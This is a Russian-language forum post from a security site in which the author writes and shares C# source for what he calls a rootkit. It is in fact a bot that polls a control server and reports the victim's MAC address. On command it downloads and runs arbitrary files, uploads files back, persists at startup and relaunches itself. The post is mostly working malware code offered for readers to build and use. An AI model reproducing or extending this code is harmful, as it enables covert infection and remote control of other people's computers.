• Курсы Академии Кодебай, стартующие в мае - июне, от команды The Codeby

    1. Цифровая криминалистика и реагирование на инциденты
    2. ОС Linux (DFIR) Старт: 16 мая
    3. Анализ фишинговых атак Старт: 16 мая Устройства для тестирования на проникновение Старт: 16 мая

    Скидки до 10%

    Полный список ближайших курсов ...

Soft SRKit - RootKit [Пишем свой RootKit]

  • Автор темы Enl1ghted
  • Дата начала
Говорю сразу, мне 14 лет, софт такого типа я пишу уже давно, вообще начинал я с Delphi, но на то что-бы писать что-то подобное на C# меня вдохновил SooLFaa и его темы об BotNet'e на С#.

Давайте начнём с функций данного чуда, они как и у всех rootkit'ах минимальные, предназначены только для того что-бы добыть информацию об устройстве и отправить её на сервер, а дальше админ уже сможет подгружать на это устройство сторонний софт, исходя из информации которую он получил.

Пока я напишу только каркас, и загрузку файла с последующим запуском.

А теперь об работе, в данном случае мы будем использовать Web сервер, а общение с ним будет проходить с помощью GET запросов.
Так выглядит класс в котором есть всё что нужно для работы с сервером:

C#:
namespace Kernel
{
    class HTTPGet
    {
        public static string Indication()
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/reception.php?" + "id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
            return new StreamReader(response.GetResponseStream()).ReadToEnd();
        }

        public static void File(string _file, string dir)
        {
            WebClient myWebClient = new WebClient();
            System.Uri Site = new Uri(Config.RootKitServer + @"/files/" + _file);
            myWebClient.DownloadFile(Site, dir + _file);
        }
    }

    class HTTPSend
    {
        public static void File(string file)
        {
            System.Net.WebClient Client = new System.Net.WebClient();
            Client.Headers.Add("Content-Type", "binary/octet-stream");
            byte[] result = Client.UploadFile(Config.RootKitServer + "/sfile.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword, "POST", file);
            string s = System.Text.Encoding.UTF8.GetString(result, 0, result.Length);
        }

        public static void Info(string data, string type)
        {
            HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Config.RootKitServer + "/dispatch.php?id=" + Core.macAddresses() + "&key=" + Config.RootKitServerPassword + "&info=" + data);
            HttpWebResponse response = (HttpWebResponse)request.GetResponse();
        }
    }
}

Так то, тут 2 класса, так просто удобней работать.

Как вы уже могли заметить, сервер опридиляет юзера по MAC адресу.
Вот так кстати его можно достать из системы:
C#:
public static string macAddresses()
{
            string macAddresses = "";
            foreach (NetworkInterface nic in NetworkInterface.GetAllNetworkInterfaces())
            {
                if (nic.OperationalStatus == OperationalStatus.Up)
                {
                    macAddresses += nic.GetPhysicalAddress().ToString();
                    break;
                }
            }
            return macAddresses;
}

А вот часть что отвечает за запрет повторного запуска, не хотел рвать жопу с мютексами и зделал просто проверку повторения процесса:

C#:
public static bool EmergencyCopy()
        {
            string filename = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            string name = filename.Substring(0, filename.IndexOf('.'));
            Process[] pr = Process.GetProcesses();
            int count = 0;
            for (int i = 0; i < pr.Length; i++)
            {
                if (pr[i].ProcessName == name || pr[i].ProcessName == name + ".exe")
                {
                    count++;
                }
            }
            if (count > 1) { return true; } else { return false; };
        }

Ничего сложного.
А теперь перейдём к сложному, к самому Main классу программы, в котором и будет происходить всё самое интересное. Я сделал его по принципу switch to switch, так проще всего смотреть на код, что на счёт оптимизации, то можете подсказать в коментах. А вот и он:

C#:
static void Main(string[] args)
        {
            try
            {
                Thread.Sleep(Config.IntervalToStrart);
                if (EmergencyCopy())
                {
                    Environment.Exit(0);
                }

                if (Config.persistence)
                {
                    startup(true);
                }

                string Indication = null, type = null, subtype = null, cmd = null;
                while (true)
                {
                    Thread.Sleep(Config.IntervalToGetInst);
                    Indication = HTTPGet.Indication();

                    if (Indication != "")
                    {
                        type = Indication.Substring(0, Indication.IndexOf('.'));
                        subtype = Indication.Substring(Indication.IndexOf('.') + 1, Indication.IndexOf('=') - Indication.IndexOf('.') - 1);
                        cmd = Indication.Substring(Indication.IndexOf('=') + 1);

                        switch (type)
                        {

                            case "File":
                                switch (subtype)
                                {
                                    case "Upload":
                                        try
                                        {
                                            string Fcmd = cmd.Substring(0, cmd.IndexOf(',')), Scmd = cmd.Substring(cmd.IndexOf(',') + 1); //
                                            HTTPGet.File(Fcmd, Scmd); //Dir, File
                                            System.Diagnostics.Process.Start(Fcmd+Scmd);
                                        } catch { HTTPSend.Info("Error: Failed to upload file to device!", "err"); }
                                        break;
                                }
                                break;

                        }
                    }
                }

            } catch {
                System.Diagnostics.Process.Start(Assembly.GetExecutingAssembly().Location);
                Environment.Exit(0);
            }
        }

Вот пока и всё, если тема зайдёт буду писать дальше, а пока загрузки и запуска файла в общем хватит. Сервер у меня уже написан, если кому нужно пишите в коменты.

Думаю с Config файлом вы сможете и сами разобраться.
 
Последнее редактирование модератором:
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!